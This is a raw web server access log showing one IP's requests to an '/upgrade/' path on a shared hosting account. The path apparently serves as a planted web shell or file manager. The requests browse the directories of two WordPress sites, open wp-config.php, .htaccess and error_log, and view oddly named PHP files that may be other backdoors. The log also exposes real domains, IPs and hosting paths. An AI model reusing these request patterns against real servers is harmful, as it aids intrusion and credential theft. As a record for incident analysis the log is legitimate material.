45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9222 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 11796 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8597 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 11408 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9671 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 11933 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8981 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fwp-content HTTP/1.1" 200 6601 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 10275 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8278 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9599 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2F HTTP/1.1" 200 7863 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8340 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F&option=folder HTTP/1.1" 200 8339 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 25840 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 52707 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9857 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5793 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade HTTP/1.1" 200 6764 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 10586 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9469 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 10642 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 6474 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F&option=file HTTP/1.1" 200 8335 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8625 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8348 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 11654 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2F HTTP/1.1" 200 7852 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8052 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 11113 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 9296 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:55 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F&option=dir HTTP/1.1" 200 8062 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fwp-content HTTP/1.1" 200 6536 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 11499 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5787 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8988 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global HTTP/1.1" 200 6487 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8028 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade HTTP/1.1" 200 6566 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8351 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 20663 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 15796 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7927 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:56 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample HTTP/1.1" 200 6355 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 9550 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 9373 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 18740 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F&option=folder HTTP/1.1" 200 8064 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8826 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
